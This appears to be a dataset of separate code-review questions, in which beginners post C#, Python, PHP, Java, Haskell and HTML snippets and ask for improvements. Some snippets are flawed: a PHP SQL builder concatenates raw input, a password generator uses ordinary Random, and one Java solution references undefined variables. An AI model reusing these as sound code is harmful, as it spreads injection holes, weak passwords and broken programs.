texts:
As part of the practice, I created minimalist linked list named SimpleList which can be iterated in two different ways: one element after another or by every second element.

Because I'm beginner I would really appreciate your opinion about my solution. Is it correct? What should I change?

public class SimpleList<T> : IEnumerable<T>
{
    protected class Node
    {
        public T Data { get; set; }
        public Node NextNode { get; set; }

        public Node(T data, Node nextNode)
        {
            Data = data;
            NextNode = nextNode;
        }
    }

    protected Node Head { get; set; } = null;

    public void Add(T data)
    {
        Head = new Node(data, Head);
    }

    #region IEnumerable<T> implementation
    public IEnumerator<T> GetEnumerator()
    {
        var current = Head;
        while (current != null)
        {
            yield return current.Data;
            current = current.NextNode;
        }
    }

    IEnumerator IEnumerable.GetEnumerator()
    {
        return GetEnumerator();
    }
    #endregion

    #region second iterator implementation
    private class EverySecondElementIterator : IEnumerable<T>
    {
        private readonly Node head;

        public EverySecondElementIterator(Node head)
        {
            this.head = head;
        }

        public IEnumerator<T> GetEnumerator()
        {
            var current = head;
            while (current != null)
            {
                yield return current.Data;
                current = current.NextNode?.NextNode;
            }
        }

        IEnumerator IEnumerable.GetEnumerator()
        {
            return GetEnumerator();
        }
    }

    public IEnumerable<T> EverySecondElement => new EverySecondElementIterator(Head);
    #endregion
}


texts:
I want to select top N related products using GetTopRelatedProducts method.

class Product
    {
        public string Name;
        public double Rating;
        public List<Product> RelatedProducts;

        public List<Product> GetTopRelatedProducts(int N)
        {
            var relatedSet = new HashSet<Product>();
            var relatedListQueue = new Queue<List<Product>>();
            if (RelatedProducts != null && RelatedProducts.Count > 0)
                relatedListQueue.Enqueue(RelatedProducts);
            while (relatedListQueue.Count > 0)
            {
                var relatedList = relatedListQueue.Dequeue();
                foreach (var product in relatedList)
                {
                    if (product != this && relatedSet.Add(product) && product.RelatedProducts != null && product.RelatedProducts.Count > 0)
                        relatedListQueue.Enqueue(product.RelatedProducts);
                }
            }
            // use intersect to re-order by occurence: first element added to HashSet will be displayed first
            return relatedSet.Intersect(relatedSet.OrderByDescending(x => x.Rating).Take(N)).ToList();
        }
    }

Any suggestion how to improve the code?


texts:
I have the code above in my iOS SDK that I am building that makes it easy for users of the SDK to make API calls.  Basically, users can specify an API endpoint and easily make API calls.

Is there any way to improve the code above to make it more maintainable and easy for users?  Is that the proper way to handle asynchronous networking in iOS?

+ (void) makeRequestToEndPoint:(NSString *) endpoint values:(NSMutableDictionary *) params onCompletion:(SDKCompletionBlock) responseHandler
{
    NSString * urlString = [self createApiUrlFromEndpoint: endpoint];
    NSURL * url = [NSURL URLWithString: urlString];

    NSMutableURLRequest *request = [[NSMutableURLRequest alloc] initWithURL: url];
    request.HTTPMethod = @"POST";
    [request setValue:@"application/json" forHTTPHeaderField:@"Accept"];
    [request setValue:@"charset" forHTTPHeaderField:@"utf-8"];
    [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    request.HTTPBody = [[params urlEncodedString] dataUsingEncoding:NSUTF8StringEncoding];

    [NSURLConnection sendAsynchronousRequest:request
                                       queue:[NSOperationQueue mainQueue]
                           completionHandler:^(NSURLResponse *response, NSData *data, NSError *error)
    {

        NSDictionary * dictionary = nil;
        NSError * returnError = nil;
        NSString * errorCode = nil;
        NSString * errorText = nil;
        NSInteger newErrorCode = 0;

        if([data length] >= 1) {
            dictionary = [NSJSONSerialization JSONObjectWithData: data options: 0 error: nil];
        }

        if(dictionary != nil) {

             if([dictionary objectForKey: @"error_code"] != nil) {
                 errorCode = [dictionary objectForKey: @"error_code"];
                 errorText = [dictionary objectForKey: @"error_description"];
             }
        }

        NSInteger statusCode = [(NSHTTPURLResponse *)response statusCode];

        if(statusCode >= 400)
        {
            if(errorCode == nil)
            {
                newErrorCode = -1;
                errorText = @"There was an unexpected error.";
            }
            else {
                newErrorCode = [errorCode intValue];
            }

            NSMutableDictionary* details = [NSMutableDictionary dictionary];
            [details setValue: errorText forKey:NSLocalizedDescriptionKey];

            returnError = [NSError errorWithDomain: WPAPPErrorDomain code: newErrorCode userInfo: details];
        }

        responseHandler(dictionary, returnError);

    }];
}


texts: Real-time bitcoin data feed and storage using websocket framework

texts:
I'm trying to create data feed script for real time bitcoin data for OkCoin exchange using their websocket API (documentation) and a database manager for storing.

There are two channels I am interested in: trades and market depth. Once the socket is opened I subscribe to both of them so I have two types of messages coming in possibly spaced by a fraction of a second but not at the exact same time since there is only one websocket connection opened.

I am running Python version 3.3 and have used websocket and SQLite3. The way I have designed my code each time a message arrives and on_message is fired it writes to database.

Now suppose a frequent scenario when a message is instantly followed by another message (few milliseconds) and before first call of on_message is completed second call is requested. Shouldn't some sort of jam occur sooner or later? What confuses me is that I can run the following script for several hours and everything seems to work. On the other hand I cannot assure myself that all the data received was stored. Is there some sort of internal queuing system for on_message calls in websocket package that handles this automatically? What would be the best way to implement what I'm trying to achieve and which Python modules should I use to do that?

import websocket
import ast
import json
import sqlite3

class DataFeed():

    def __init__(self):
        #create database
        file = "myDB.db"
        self.path = "C:/Users/Uporabnik/Desktop/OkCoin/data/"+file
        self.db = sqlite3.connect(self.path)
        self.cursor = self.db.cursor()
        self.cursor.execute(
            """CREATE TABLE ok_btcusd_depth(
            bid REAL,
            bid_amount REAL,
            ask REAL,
            ask_amount REAL)
            """)
        self.cursor.execute(
            """CREATE TABLE ok_btcusd_trades(
               price REAL,
               amount REAL,
               time TEXT,
               type TEXT)
               """)
        self.db.commit()
        #connect to websocket
        url = "wss://real.okcoin.com:10440/websocket/okcoinapi"
        self.ws = websocket.WebSocketApp(url,
                                         on_message=self.on_message,
                                         on_error=self.on_error
                                         )
        self.ws.on_open = self.on_open
        self.ws.run_forever()

    def on_message(self,ws,msg):
        msg = ast.literal_eval(msg) #convert string to list
        table = msg[0]["channel"]
        data = msg[0]["data"]
        if table == "ok_btcusd_depth":
            bid_info = data["bids"][0]
            ask_info = data["asks"][0]
            Tuple = (bid_info[0],bid_info[1],ask_info[0],ask_info[1])
            self.cursor.execute(
                """INSERT INTO ok_btcusd_depth(
                   bid,bid_amount,ask,ask_amount)
                   VALUES(?,?,?,?)""",Tuple )
        else:
            for trade in data:
                Tuple = (float(trade[0]),float(trade[1]),trade[2],trade[3])
                self.cursor.execute(
                    """INSERT INTO ok_btcusd_trades(price,amount,time,type)
                       VALUES(?,?,?,?)""",Tuple)
        self.db.commit()

    def on_error(self,ws,error):
        print(error)

    def on_open(self,ws):
        request = [{"event":"addChannel","channel":"ok_btcusd_depth"},
                   {"event":"addChannel","channel":"ok_btcusd_trades"}]
        request = json.dumps(request)
        request = request.encode("utf-8")
        ws.send(request)

if __name__ == "__main__":
    DataFeed()


texts: Parsing Placeholders as SQL Arguments in PHP

texts:
I am trying to find a good way of parsing SQL arguments, the way I am accomplishing it now seems like it can use a lot of improvement. I am trying to convert arguments that are split apart by ', & <= =>' from a string into SQL arguments like name = 'ABC' OR name ='John Doe'.

So

parseSQLOperators('dan,john&steven', 'username');

Will create

WHERE username= 'dan' OR username = 'john' AND username ='steven'

I have an example how this is being accomplished below but I am wondering if there is a better way for this. I know this code is ugly and I've been trying things like preg_splits but to no avail.

public static function parseSQLOperators($string, $content_term, $encapsulate = TRUE) {

        $string = trim($string);
        $length = strlen($string);

        $ADD_PREFIX = true;
        $output = '';
        for ($i = 0; $i < $length; $i++) {

            if ($string[$i] == '!') {

                $output .= ' ' . $content_term . '!=\'';

                if ($i == 0) {
                    $ADD_PREFIX = false;
                }
            } else if ($string[$i] == '+') {
                if (@$string[$i + 1] != '!') {
                    $output .= ' AND ' . $content_term . '=\'';
                } else {
                    $output .= ' AND ';
                }
            } else if ($string[$i] == ',') {
                if (@$string[$i + 1] != '!') {
                    $output .= ' OR ' . $content_term . '=\'';

                } else {
                    $output .= ' OR ';
                }

            }

            if ($string[$i] != '!' && $string[$i] != '+' && $string[$i] != ',') {

                $output .= $string[$i];

                if (@$string[$i + 1] == ',' || @$string[$i + 1] == '+' || @$string[$i + 1] == '!' || $i == $length || $i == $length - 1) {
                    $output .= '\'';
                }
            }
        }//end for

        if ($ADD_PREFIX == true) {
            $output = $content_term . '=\'' . $output;
        }

        if ($encapsulate) {
            $output = '(' . $output . ')';
        }

        return $output;
    }//end parseSQLOperator


texts: Given a string S and Q query strings(q1,q2,...), check for each query string whether or not it is sub-sequence of S

texts:
Here is my approach. Subsequence is a sequence that can be derived from another sequence by deleting some elements without changing the order of the remaining elements.

import java.io.InputStreamReader;
import java.util.Scanner;

public class Query {

public static void main(String[] args) {

    Scanner scanner = new Scanner(new InputStreamReader(System.in));
    String str=scanner.next();
    int n=scanner.nextInt();
    while(n-->0){
        String sub=scanner.next();
        if(isSub(str,sub))
            System.out.println("Yes");
        else
            System.out.println("No");
    }
}

static boolean isSub(String str, String sub){
    int j=0;
    int x=str.length();
    int y=sub.length();
    for(int i=0;i<x && j<y;i++){
        if(str.charAt(i)==sub.charAt(j)) j++;
    }
    return (j==y);
}
}

Please critique my code and also suggest me how to increase efficiency of this code.


texts: Comparing different string-matching functions

texts:
Here is a problem came from codingbat:

  Given 2 strings, a and b, return the number of the positions where
  they contain the same length 2 substring. So "xxcaazz" and "xxbaaz"
  yields 3, since the "xx", "aa", and "az"  substrings appear in the
  same place in both strings.

There are several answers but it may hard to choose which one is the most preferred, such as:

# Solution 1
# Using for loop
def strmatch_forloop(a, b):
    shorter = min(len(a), len(b))
    count = 0
    for i in range(shorter-1):
        a_sub = a[i:i+2]
        b_sub = b[i:i+2]
        if a_sub == b_sub:
            count = count + 1
    return count

# Solution 2
# Using list comprehension
def strmatch_listcomp(a, b):
    shorter = min(len(a), len(b))
    return [a[i:i+2] == b[i:i+2] for i in range(shorter-1)].count(True)

# Solution 3
# Using generator
def strmatch_gen(a, b):
    shorter = min(len(a), len(b))
    return sum(a[i:i+2] == b[i:i+2] for i in range(shorter-1))

Note that the "preferable" might be subjective; it may refer to the speed, the memory use or the coding style. For instance, their speeds are reported as:

%timeit strmatch_forloop
10000000 loops, best of 3: 21.7 ns per loop

%timeit strmatch_listcomp
10000000 loops, best of 3: 22.9 ns per loop

%timeit strmatch_gen
10000000 loops, best of 3: 21.8 ns per loop

According to the results, there may no difference between these approaches. For memory use, similar results can be shown by %memit. However, coding style is too subjective to measure. How could I choose among them?


texts: Number aware string sorting with comparator

texts:
I have this class for use in sorting strings such that if strings have a number in the same position it will order the numbers in increasing order.

Alphabetical gives:

file1
file10
file2

What I'm calling "number aware" string sorting should give:

file1
file2
file10

Here is what I have using a regex split from there.

The code seems to work. Any cases where I could run into problem? If not any suggestions on making it simpler or more efficient.

import java.util.Comparator;

public class NumberAwareStringComparator implements Comparator<String>{
     public int compare(String s1, String s2) {

            String[] s1Parts = s1.split("(?<=\\D)(?=\\d)|(?<=\\d)(?=\\D)");
            String[] s2Parts = s2.split("(?<=\\D)(?=\\d)|(?<=\\d)(?=\\D)");

            int i = 0;
            while(i < s1Parts.length && i < s2Parts.length){

                //if parts are the same
                if(s1Parts[i].compareTo(s2Parts[i]) == 0){
                    ++i;
                }else{
                    try{

                        int intS1 = Integer.parseInt(s1Parts[i]);
                        int intS2 = Integer.parseInt(s2Parts[i]);

                        //if the parse works

                        int diff = intS1 - intS2;
                        if(diff == 0){
                            ++i;
                        }else{
                            return diff;
                        }
                    }catch(Exception ex){
                        return s1.compareTo(s2);
                    }
                }//end else
            }//end while

            //Handle if one string is a prefix of the other.
            // nothing comes before something.
            if(s1.length() < s2.length()){
                return -1;
            }else if(s1.length() > s2.length()){
                return 1;
            }else{
                return 0;
            }
        }
}


texts: Translating text using Google Translate mobile site

texts:
I have this code to translate text using the Google Translate mobile site. Currently, text size is limited by the request method. Everything else seems to works just fine.

I am also about to post this on PyPi but I don't know how I should name the package, the file and the function.

Basically today you must do:

import translate.translate
translate.translate.translate("hello")

which seems really bad. How should I name this?

Could you suggest any improvements to this?

#!/usr/bin/env python
# encoding: utf-8

import six

if (six.PY2):
    import urllib2
    import re
    import urllib
else:
    import urllib.request
    import urllib.parse
    import re

agent = {'User-Agent' : "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"}

def translate(to_translate, to_language="auto", language="auto"):
    """
    Returns the translation using google translate
    you must shortcut the language you define (French = fr, English = en, Spanish = es, etc...)
    if you don't define anything it will detect it or use english by default
    Example:
    print(translate("salut tu vas bien?", "en"))
    hello you alright?
    """
    base_link = "http://translate.google.com/m?hl=%s&sl=%s&q=%s"
    if (six.PY2):
        link = base_link % (to_language, language, urllib.pathname2url(to_translate))
        request = urllib2.Request(link, headers=agent)
        page = urllib2.urlopen(request).read()
    else:
        link = base_link % (to_language, language, urllib.parse.quote(to_translate))
        request = urllib.request.Request(link, headers=agent)
        page = urllib.request.urlopen(request).read().decode("utf-8")
    expr = r'class="t0">(.*?)<'
    result = re.findall(expr, page)
    if (len(result) == 0):
        return ("")
    return(result[0])

if __name__ == '__main__':
    to_translate = 'Bonjour comment allez vous?'
    print("%s >> %s" % (to_translate, translate(to_translate)))
    print("%s >> %s" % (to_translate, translate(to_translate, 'es')))
    print("%s >> %s" % (to_translate, translate(to_translate, 'ar')))


texts: Create an instance (view) given its dependency (view model)

texts:
I have a set of views and view models in my project. There is a one-to-one mapping of views and view models, so each view requires a particular view model. I'd like to instantiate a series of views given a collection of view models.

Here's what I've come up with:

public class OverlayBundle : DrawingVisual
{
    private static readonly Dictionary<Type, Func<IOverlayViewModel, DrawingVisual>> _overlayCreators =
        new Dictionary<Type, Func<IOverlayViewModel, DrawingVisual>>
        {
            { typeof(ImageOverlayViewModel), x => new ImageOverlay((ImageOverlayViewModel)x) },
            { typeof(ValuesOverlayViewModel), x => new ValuesOverlay((ValuesOverlayViewModel)x) },
            { typeof(NoGoAreasOverlayViewModel), x => new NoGoAreasOverlay((NoGoAreasOverlayViewModel)x) },
        };

    private readonly OverlayBundleViewModel _viewModel;

    private IEnumerable<Visual> _overlays;

    public OverlayBundle(OverlayBundleViewModel viewModel)
    {
        _viewModel = viewModel;
        GenerateChildren();
    }

    private void GenerateChildren()
    {
        _overlays = _viewModel.GetAllOverlayViewModels().Select(GetOverlay);
        foreach (var overlay in _overlays)
            Children.Add(overlay);
    }

    private Visual GetOverlay(IOverlayViewModel viewModel)
    {
        return _overlayCreators[viewModel.GetType()](viewModel);
    }
}

This works, but I feel like there must be a better way. Any feedback would be appreciated.


texts:
I have a bunch of exact-duplicate pictures that I've acquired over the years. I'd like to create a list of all them so I can eventually delete some. My idea was simple: dump the hash and location of every image file under a path in MongoDB for later analysis. This is what I came up with:

import com.david.mongodocs.ImageEntry;
import com.mongodb.MongoClient;
import org.apache.commons.codec.digest.DigestUtils;
import org.mongodb.morphia.Datastore;
import org.mongodb.morphia.Morphia;

import java.io.FileInputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class MD5Deduplicator {
    private static Datastore datastore;

    public static void main(String[] args) throws Exception {
        long startTime = System.nanoTime();
        Morphia morphia = new Morphia();
        morphia.mapPackage("com.david.mongodocs");
        datastore = morphia.createDatastore(new MongoClient(), "md5Deduplicator");
        datastore.ensureIndexes();
        logDuplicates(Paths.get(args[0]));
        System.out.println("Completed scan in " + (System.nanoTime() - startTime )+ " nanosecs");
    }

    private static void logDuplicates(Path path) throws IOException {
        Files.walk(path).parallel()
                .filter(Files::isReadable)
                .filter(Files::isRegularFile)
                .forEach(filePath -> {
                    try {
                        String contentType = Files.probeContentType(filePath);
                        if (contentType != null && contentType.startsWith("image")) {
                            FileInputStream fis = new FileInputStream(filePath.toFile());
                            String md5 = DigestUtils.md5Hex(fis);
                            fis.close();
                            ImageEntry imageEntry = new ImageEntry(filePath.toAbsolutePath().toString(), md5);
                            datastore.save(imageEntry);

                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                    }

                });
    }
}

ImageEntry class:

package com.david.mongodocs;

import org.mongodb.morphia.annotations.Entity;
import org.mongodb.morphia.annotations.Id;
import org.mongodb.morphia.annotations.Indexed;

@Entity
public class ImageEntry {
    @Id
    public final String filePath;
    @Indexed
    public final String md5;

    public ImageEntry(String filePath, String md5) {
        this.filePath = filePath;
        this.md5 = md5;
    }
}

From the visualVM profiler it looks like the slowest part of this is the md5hex function (I was a little surprised, I was expecting the slowest part to be related to the FileInputStream or save function). Is there perhaps an alternative hashing function or md5 implementation I should use?

I'm also a little worried that Files.walk().parallel() might be putting a little bit too much faith in Java defaults and may not be the most optimized way to parallelise this.


texts: "Remove Friends" problem time efficiency too slow

texts:
I'm doing this problem:

  After getting her PhD, Christie has become a celebrity at her
  university, and her Facebook profile is full of friend requests. Being
  the nice girl she is, Christie has accepted all the requests.

  Now Kuldeep is jealous of all the attention she is getting from other
  guys, so he asks her to delete some of the guys from her friend list.

  To avoid a 'scene', Christie decides to remove some friends from her
  friend list, since she knows the popularity of each of the friend she
  has, she uses the following algorithm to delete a friend.

Algorithm Delete(Friend):
    DeleteFriend=false
    for i = 1 to Friend.length-1
         if (Friend[i].popularity < Friend[i+1].popularity)
            delete i th friend
            DeleteFriend=true
            break
    if(DeleteFriend == false)
        delete the last friend

  Input: First line contains T number of test cases. First line of each
  test case contains N, the number of friends Christie currently has and
  K ,the number of friends Christie decides to delete. Next lines
  contains popularity of her friends separated by space.

  Output: For each test case print N-K numbers which represent
  popularity of Christie friend's after deleting K friends.

  Constraints:

1 <= T <= 1000
1 <= N <= 100000
0 <= K < N
0 <= popularity_of_friend <= 100

  NOTE: Order of friends after deleting exactly K friends should be
  maintained as given in input.

  Sample Input

3
3 1
3 100 1
5 2
19 12 3 4 17
5 3
23 45 11 77 18

  Sample Output

100 1
19 12 17
77 18

  Time Limit 1 sec(s) (Time limit is for each input file.)

  Memory Limit 256 MB

  Source Limit 1024 KB

Initially I would read and add the numbers to the list, then follow that algorithm.  I figured doing what that algorithm does except as I add it in would be much faster (which it was):

import java.util.*;

class TestClass {
    public static void main(String args[] ) throws Exception {
        Scanner scanner = null;
        try{
            scanner = new Scanner(System.in);
        }catch(Exception e){
            return;
        }
        int T = Integer.parseInt(scanner.next());

        //remove as i add to list
        for(int i = 0; i < T; i++){
            int friendsStart = Integer.parseInt(scanner.next());
            int friendsDelete = Integer.parseInt(scanner.next());
            ArrayList<Integer> inputList = new ArrayList<Integer>();
            int currentPos = 0;
            for(int j = 0; j < friendsStart ; j++){
                p.add(Integer.parseInt(scanner.next()));
                if(fD > 0 && currentPos > 0 && inputList.get(currentPos) > inputList.get(currentPos-1)){
                    inputList.remove(currentPos-1);
                    friendsDelete--;
                    currentPos--;
                }else{
                    currentPos++;
                }
            }

            //remove remainder required to remove
            while(friendsDelete > 0 && c < inputList.size()){
                if(currentPos > 0 && inputList.get(currentPos) > inputList.get(currentPos -1)){
                    inputList.remove(currentPos-1);
                    friendsDelete--;
                    currentPos--;
                }else{
                    currentPos++;
                }
            }

            //print
            for(int j = 0; j < inputList.size(); j++){
                System.out.print(inputList.get(j) + " ");
            }
            System.out.println();
        }
    }
}

However, when I submit, it does some bigger test cases (not sure what the cases are), but it ends up being too slow.  I wanted some hints as to how I can make this faster than it already is.  I don't want a direct answer.


texts: Computing the correlation of an analyzed stock ticker

texts:
I have an enum of stock tickers, then from the database I get details for an analysed ticker (stock). In the loop, I compare the details of the analysed ticker to details of the rest of tickers, compute the correlation, then add it to the treeSet.

This is my first time using multithreading and I wanted the method executed in a shorter time. I'm not sure about this solution. Could you review my code and judge it?

This is my service:

@Service public class StatisticService{

    @Inject
    private StockDetailsRepository stockDetailsRepository;

    @Inject
    private StockRepository stockRepository;

    private List<GpwStockTicker> tickersWithOutOneAnalysed;
    private TreeSet<StockStatistic> correlationTreeSet;
    private double [] closePricesAnalysed;
    private int size;
    private PearsonsCorrelation pearsonsCorrelation;

    public TreeSet<StockStatistic> computePearsonCorrelation(Stock stock, int size) {
        this.size = size;
        long start = System.currentTimeMillis();
        correlationTreeSet = new TreeSet<>();
        pearsonsCorrelation = new PearsonsCorrelation();
        GpwStockTicker mainTicker = stock.getTicker();
        List<StockDetails> stockDetailsAnalysed = getContent(mainTicker, size);
        closePricesAnalysed = getClosePrices(stockDetailsAnalysed);
        EnumSet<GpwStockTicker> tickers = complementOf(EnumSet.of(mainTicker));
        tickersWithOutOneAnalysed = new ArrayList<GpwStockTicker>(tickers);

        Thread threadOne = new Thread(new Runnable() {
            public void run() {
                firstPartTickers();
            }
        });

        Thread threadTwo = new Thread(new Runnable() {
            public void run() {
                secondPartTickers();
            }
        });

        threadOne.start();
        threadTwo.start();

        try {
            threadOne.join();
            threadTwo.join();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        long end = System.currentTimeMillis();
        System.out.println("Time of method (s): "+ (end-start) / 1000.0);
        return correlationTreeSet;
    }

    private void firstPartTickers() {
        for(int i = 0; i< tickersWithOutOneAnalysed.size()/2; i++) {
            calculateCorrelation(i);
        };
    }

    private void secondPartTickers() {
        for(int i = tickersWithOutOneAnalysed.size()/2; i< tickersWithOutOneAnalysed.size(); i++) {
            calculateCorrelation(i);
        };
    }

    private void calculateCorrelation(int indexOfTicker) {
        GpwStockTicker ticker = GpwStockTicker.valueOf(tickersWithOutOneAnalysed.get(indexOfTicker).name());
        double [] closePricesToCompare = getClosePrices(getContent(ticker, size));
        Double correlation  = pearsonsCorrelation.correlation(closePricesAnalysed, closePricesToCompare);
        StockStatistic stockCorrelation = new StockStatistic(correlation, ticker);
        correlationTreeSet.add(stockCorrelation);
    }

    private List<StockDetails> getContent(GpwStockTicker ticker, int size) {
        return stockDetailsRepository.findByStockTickerOrderByDateDesc(ticker, new PageRequest(1, size)).getContent();
    }

    private double[] getClosePrices(List<StockDetails> stockDetails) {
        double[] closePrices = new double[stockDetails.size()];

        int idx = 0;
        for(StockDetails stds: stockDetails){
            closePrices[idx++] = stds.getClosePrice().doubleValue();
        }

        return closePrices;
    }
}

The main goal was achieved: the time before multithreading was 77.277 sec and after was 43.534 sec. But I would like to know if my way of thinking was good.


texts:
So I have a method that, after validation, generates a random password based on the length and characters provided. The UI uses check boxes to select using between lowercase and/or uppercase letters, numbers and special characters to populate the characters parameter. as well as the length of the password and the spacing between each character used (I.E. if character spacing is set to '10', the letter 'A', for example, can only be used again after another 10 unique characters are used first):

The Generator Method:

    private string PasswordGeneration(string characters, int length)
    {
        var random = Factory.Random(); //Generates new Random() from Factory class.
        var availableCharacters = characters; //Preps the available characters with all characters passed.
        var output = string.Empty;
        var rule = ValidateRule(characters.Length); //Sets character rule to length of parameter "characters" if the unique character spacing is set higher than the number of available characters to use.
        for (var position = 0; position < length; position++) //loop until we've met the password's desired length.
        {
            if (rule != 0 && (characters.Length - availableCharacters.Length == rule)) //if a character rule is set & if we've met the criteria of the number of unique characters asked for...
            {
                availableCharacters = characters.Where(c => !output.Substring((position - rule) + 1, rule - 1).Contains(c)).Aggregate(availableCharacters, (current, c) => current + (current.Contains(c) ? string.Empty : c.ToString()));
                //...we add back all characters for usage other than the last n characters used dictated by the unique character rule.
            }
            var character = availableCharacters[random.Next(availableCharacters.Length)]; //Grabs a random character from availableCharacters.
            availableCharacters = rule == 0 ? availableCharacters : availableCharacters.Replace(character.ToString(), string.Empty); //If a character rule is set, we remove the currently used character from availableCharacters.
            output += character; //Append "character" to output.
        }
        return output;
    }

The 'ValidateRule()' Method:

        private int ValidateRule(int length) =>
        length - _settings.IdenticalSpacing > 0
            ? _settings.IdenticalSpacing
            : length;

And for readability with what's happening with the LINQ expression within the if statement:

foreach(var c in characters)//...we iterate through the original set of characters...
{
    if(output.Substring((position - rule) + 1, rule -1).Contains(c) == false)//...and check to see if the a specific range contains each character. If the range doesn't contain the current character...
    {
        foreach(var availableCharacter in availableCharacters)//...we iterate through our available characters to see if it doesn't already contains the current character...
        {
            if(!Equals(availableCharacter, c))
            {
                availableCharacters += c; //...if not, we make the character available for use again.
            }
        }
    }
}

As stated before, the characters and password length parameters are all validated before being passed to PasswordGeneration(), so I didn't add any null checking or checks for bad inputs other than for the character spacing rule. While everything works perfectly fine with no errors, I feel as if the code looks messy and of course a bit hard to read. I can't help but think there's a much more simple approach without a bunch of loops and conditions or long LINQ expressions. However, I would love to hear some feedback on what you all think and of course, how I can improve this.


texts:
I recently implemented a Bloom Filter in Haskell and, although I am not new to functional programming, I am a beginner when it comes to Haskell itself.

I'll gladly take any feedback regarding the implementation or the code style. I tried to stick to the Haskell conventions regarding function and variable naming, but I may have gotten some stuff wrong.

You will notice that I'm using my own implementation of a Bitset, you can assume it behaves like a normal one (I sure hope so).

module DataStructures.BloomFilter (empty, insert, member, DataStructures.BloomFilter.null) where

import System.Random (random, StdGen)
import qualified DataStructures.Bitset as Bitset
import Data.Hashable (hashWithSalt)

-- n: expected number of items in the Bloom Filter
-- p: acceptable probability of a false positive
-- m: max number of bits the Bloom Filter will use
-- k: number of hashing functions

data BloomFilter = BloomFilter {
  n :: Int, p :: Float, bitset :: Bitset.Bitset, m :: Int, k :: Int, hashSeed :: Int
} deriving (Eq, Show)

getMaxSize :: Int -> Float -> Int
getMaxSize n p = abs $ ceiling $ fromIntegral n * (log p) / (log (1 / (log 2 ^ 2)))

getNumberOfHashFunctions :: Int -> Int -> Int
getNumberOfHashFunctions n m = round $ fromIntegral (m `div` n) * log 2

empty :: Int -> Float -> StdGen -> BloomFilter
empty n p randGen =
  let m = getMaxSize n p
      k = getNumberOfHashFunctions n m
      hashSeed = fst $ random randGen
  in  BloomFilter n p Bitset.empty m k hashSeed

null :: BloomFilter -> Bool
null = Bitset.null . bitset

getHashes :: Show a => BloomFilter -> a -> [Int]
getHashes bloomFilter elem =
  let str     = show elem
      seed    = hashSeed bloomFilter
      maxSize = m bloomFilter
  in  (`mod` maxSize) . abs . (`hashWithSalt` str) . (seed +) <$> [1..(k bloomFilter)]

insert :: Show a => BloomFilter -> a -> BloomFilter
insert bloomFilter elem =
  let hashes    = getHashes bloomFilter elem
      newBitset = Bitset.insertMany (bitset bloomFilter) hashes
  in  bloomFilter { bitset = newBitset }

-- Returns whether an element *may be* present in the bloom filter.
-- This function can yield false positives, but not false negatives.
member :: Show a => BloomFilter -> a -> Bool
member bloomFilter elem =
  let hashes = getHashes bloomFilter elem
      bs     = bitset bloomFilter
  in  all (Bitset.member bs) hashes

I would have liked to use a murmur3 hashing function but all Haskell implementations use types that I'm not yet familiar with (Word32, ByteString).


texts:
Any efficient way to solve the following problem assuming data is large. I solved the problem but how can I improve the code, which will make it efficient. any suggestions?

Data:

movie_sub_themes = {
'Epic': ['Ben Hur', 'Gone With the Wind', 'Lawrence of Arabia'],
'Spy': ['James Bond', 'Salt', 'Mission: Impossible'],
'Superhero': ['The Dark Knight Trilogy', 'Hancock, Superman'],
'Gangster': ['Gangs of New York', 'City of God', 'Reservoir Dogs'],
'Fairy Tale': ['Maleficent', 'Into the Woods', 'Jack the Giant Killer'],
'Romantic':['Casablanca', 'The English Patient', 'A Walk to Remember'],
'Epic Fantasy': ['Lord of the Rings', 'Chronicles of Narnia', 'Beowulf']}

movie_themes = {
'Action': ['Epic', 'Spy', 'Superhero'],
'Crime' : ['Gangster'],
'Fantasy' : ['Fairy Tale', 'Epic Fantasy'],
'Romance' : ['Romantic']}

themes_keys = movie_themes.keys()
theme_movies_keys = movie_sub_themes.keys()

#Iterate in movie_themes
#Check movie_themes keys in movie_sub_keys
#if yes append the movie_sub_keys into the newdict
newdict = {}
for i in range(len(themes_keys)):
   a = []
   for j in range(len(movie_themes[themes_keys[i]])):
     try:
         if movie_themes[themes_keys[i]][j] in theme_movies_keys:
            a.append(movie_sub_themes[movie_themes[themes_keys[i]][j]])
     except:
         pass
   newdict[themes_keys[i]] = a

# newdict contains nested lists
# Program to unpack the nested list into single list
# Storing the value into theme_movies_data
theme_movies_data = {}
for k, v in newdict.iteritems():
    mylist_n = [j for i in v for j in i]
    theme_movies_data[k] = dict.fromkeys(mylist_n).keys()

print (theme_movies_data)

Output:

{'Action': ['Gone With the Wind', 'Ben Hur','Hancock, Superman','Mission: Impossible','James Bond','Lawrence of Arabia','Salt','The Dark Knight Trilogy'],
 'Crime': ['City of God', 'Reservoir Dogs', 'Gangs of New York'],
 'Fantasy': ['Jack the Giant Killer','Beowulf','Into the Woods','Maleficent','Lord of the Rings','Chronicles of Narnia'],
 'Romance': ['The English Patient', 'A Walk to Remember', 'Casablanca']}

Apologies for not properly commenting the code.

I am more concern about the running time.


texts:
I want to make a form which looks like this:

     Column A      Column B
1   Textbox AA    Textbox BB
2   Textbox AA    Textbox BB

I've coded it like this:

             <form id="deps" name="deps" action="" method="POST">

                    &nbsp;

&nbsp;

A

B

 1

<input type="text" name="bdmm" id="bdmm" /> M

<input type="text" name="bdinch" id="bdinch" /> I

 2

<input type="text" name="sdmm" id="sdmm" /> M

<input type="text" name="sdinch" id="sdinch" /> I

TW

<input type="text" name="twkg" id="twkg" /> KG

<input type="text" name="twlbs" id="twlbs" /> LBS

                    <input type="submit" value="Calculate" onclick="getText();" />
              </form>

CSS:

form{
    padding:3px 0;
    font-family: Georgia, arial, serif;
}

ul {
    list-style: none;
}

ul li {
    clear:both;
    margin:0px;
    padding:2px 0px;
    vertical-align: middle;
}

input{
    font-size: 1em;
    margin: 5px;
    padding: 5px 8px;
    border: solid 1px #E5E5E5;
    outline: 0;
    width: 100px;
    }

input:focus {
    border: solid 1px #8CDED7;
    }

label {
    margin: 2px;
    padding: 2px;
    text-align: right;
    font-size: 1em;
    text-shadow: 0px 1px 0px #e5e5ee;
    display: inline-block;

    }

label, input, h4 {
    letter-spacing: 1.5px;
    line-height: 20px;
    font-family: Georgia, 'Times New Roman';
    text-transform: uppercase;
}

.field {
    float: left;
    display:inline-block;
    width:  200px;
    vertical-align: middle;
}
.head {
    padding-top: 5px;
}

.er {
    font-size: 1em;
